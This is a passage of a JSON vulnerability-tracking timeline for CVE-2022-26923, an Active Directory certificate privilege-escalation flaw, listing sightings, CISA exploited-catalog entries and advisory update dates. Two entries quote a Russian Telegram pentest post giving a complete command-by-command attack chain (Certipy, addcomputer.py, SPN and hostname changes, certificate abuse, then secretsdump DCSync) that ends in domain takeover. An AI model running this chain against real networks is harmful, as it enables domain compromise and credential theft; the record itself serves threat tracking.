\u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/S_E_Reborn/4401", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-03T05:18:38.140Z", "date_only": false, "value": "2024-08-03T05:18:38.140Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-26923", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-17T10:33:58Z", "date_only": false, "value": "2024-08-17T10:33:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/10277", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "c9c003ea-dbab-466f-91d1-0c254c2847c8", "content": "\u200aCybercriminals Evolve Social Engineering Tactics, Exploit CVE-2022-26923 in Sophisticated Campaign\n\nhttps://securityonline.info/cybercriminals-evolve-social-engineering-tactics-exploit-cve-2022-26923-in-sophisticated-campaign/", "url": "https://t.me/HackingInsights/10277", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-12-24T20:32:44.972Z", "date_only": false, "value": "2024-12-24T20:32:44.972401Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971682", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f18c025d-6b6d-4343-ae80-a9bf032c248d", "url": "https://feedsin.space/feed/CISAKevBot/items/2971682"}, {"timestamp": "2025-01-02T18:57:44.982Z", "date_only": false, "value": "2025-01-02T18:57:44.982Z", "kind": "other", "label": "Document generated", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-01-02T18:58:25.436Z", "date_only": false, "value": "2025-01-02T18:58:25.436Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-04T19:02:09.330Z", "date_only": false, "value": "2025-02-04T19:02:09.330320Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-02-04T19:02:09.330Z", "date_only": false, "value": "2025-02-04T19:02:09.330320Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1ee9613d-9f91-4254-9300-4164f1e68c44"}, {"timestamp": "2025-02-23T02:10:36Z", "date_only": false, "value": "2025-02-23T02:10:36.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4a364e8e-0e02-4a8f-980e-1873b576fec2"}, {"timestamp": "2025-02-23T04:10:45Z", "date_only": false, "value": "2025-02-23T04:10:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "847c4abd-6029-495a-907a-71859923e9df"}, {"timestamp": "2025-03-04T16:00:08Z", "date_only": false, "value": "2025-03-04T16:00:08.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/PTHKQ06bP3q6apx3Krv4L2iJCBBovWGsPYlkQuufLnbVvmI", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3a2f9cc0-7815-4754-920e-8ebc360670ff", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-02T02:06:15.074Z", "date_only": false, "value": "2025-04-02T02:06:15.074049Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3llscglbqjk2z", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0e877ba7-6e01-4be4-be1b-c59a9d227b8d", "url": "https://bsky.app/profile/hackingne.ws/post/3llscglbqjk2z"}, {"timestamp": "2025-04-03T02:13:59.571Z", "date_only": false, "value": "2025-04-03T02:13:59.571437Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llutdd7rme2r", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "04b0e18d-9100-445f-afb5-8caf14d2cd4c", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llutdd7rme2r"}, {"timestamp": "2025-04-03T20:03:52.291Z", "date_only": false, "value": "2025-04-03T20:03:52.291149Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llwp4g6y4e2x", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b3f790a6-a7bf-4ed0-b1a1-afe9c7157d4e", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llwp4g6y4e2x"}, {"timestamp": "2025-04-03T20:10:17.356Z", "date_only": false, "value": "2025-04-03T20:10:17.356019Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3llwphvkqtn2r", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f3cf0072-e413-4ae8-82e9-5223c8b44a53", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3llwphvkqtn2r"}, {"timestamp": "2025-04-10T09:45:37.882Z", "date_only": false, "value": "2025-04-10T09:45:37.882296Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-218112ab-f208e40627d05bf3", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f5255f80-060e-4d2e-967e-b4bf9a935f31", "url": "https://poliverso.org/objects/0477a01e-218112ab-f208e40627d05bf3"}, {"timestamp": "2025-10-21T23:15:40.068Z", "date_only": false, "value": "2025-10-21T23:15:40.068Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:15:40.068Z", "date_only": false, "value": "2025-10-21T23:15:40.068Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:32:32Z", "date_only": false, "value": "2025-10-22T00:32:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "modified", "linked_record": true}, {"timestamp": "2026-02-02T12:27:17.352Z", "date_only": false, "value": "2026-02-02T12:27:17.352054Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fdb2f553-149c-4c77-b287-ab9e1085ba1c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-05-29T15:00:07Z", "date_only": false, "value": "2026-05-29T15:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/p1UsK7gFrFQLGfOF3xir9AjmdpIuUDbHtmKFPqLrJn2rk0E", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "fef9adb1-59b4-40c9-bbdd-d04d17691485"}, {"timestamp": "2026-06-17T04:36:07.943Z", "date_only": false, "value": "2026-06-17T04:36:07.943", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-19T12:47:06.114Z", "date_only": false, "value": "2026-06-19T12:47:06.114955Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/70e5d3e7-48a5-4532-ab22-83222f249493", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b5f302c6-b08e-4e46-805e-7978b73a3f2f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/70e5d3e7-48a5-4532-ab22-83222f249493", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "b83c0e3c-81fa-4e61-a716-6dbce829934e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:05:31.034Z", "date_only": false, "value": "2026-06-23T14:05:31.034456Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b83c0e3c-81fa-4e61-a716-6dbce829934e", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "9ccfbbca-13d9-45b9-971b-65c1e73f2356", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b83c0e3c-81fa-4e61-a716-6dbce829934e", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-17T11:00:09.637Z", "date_only": false, "value": "2026-07-17T11:00:09.637732Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhatez/214", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "2568e325-bbb6-4a9a-bf36-afabaa77158c", "content": "https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/zhatez/214"}, {"timestamp": "2026-07-18T00:00:27.082Z", "date_only": false, "value": "2026-07-18T00:00:27.082230Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/zhatez/214", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "40566ae9-6cbb-4582-80c3-473ea511a4bb", "content": "https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/zhatez/214", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-26T02:02:42.628Z", "date_only": false, "value": "2026-07-26T02:02:42.628627Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "e2fe05d1-cf63-4cb6-a0e9-0ba6df3757dc", "content": "CISA \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u041a\u0430\u0442\u0430\u043b\u043e\u0433 7 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0421\u0428\u0410 (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e 7 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u041a\u0430\u0442\u0430\u043b\u043e\u0433.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-22536 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u043d\u0435\u043c\u0435\u0446\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 SAP (\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Web Dispatcher, Content Server, NetWeaver \u0438 ABAP Platform) \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u043c \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2022 \u0433\u043e\u0434\u0430. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 HTTP Request smuggling.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 CISA, - \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0434\u043d\u044f\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438 Apple (CVE-2022-32893 \u0438 CVE-2022-32894) \u0438 Google (CVE-2022-2856); \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 Microsoft (CVE-2022-21971 \u0438 CVE-2022-26923); \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 Palo Alto Networks PAN-OS (CVE-2017-15944, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0432 2017 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2022/08/18/cisa-adds-seven-known-exploited-vulnerabilities-catalog\n\n#CISA #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "url": "https://t.me/EchelonEyes/593"}, {"timestamp": "2026-07-26T07:01:48.413Z", "date_only": false, "value": "2026-07-26T07:01:48.413267Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/zhatez/927", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4ab07498-1b6a-42ca-9f34-e86fcd8d090b", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 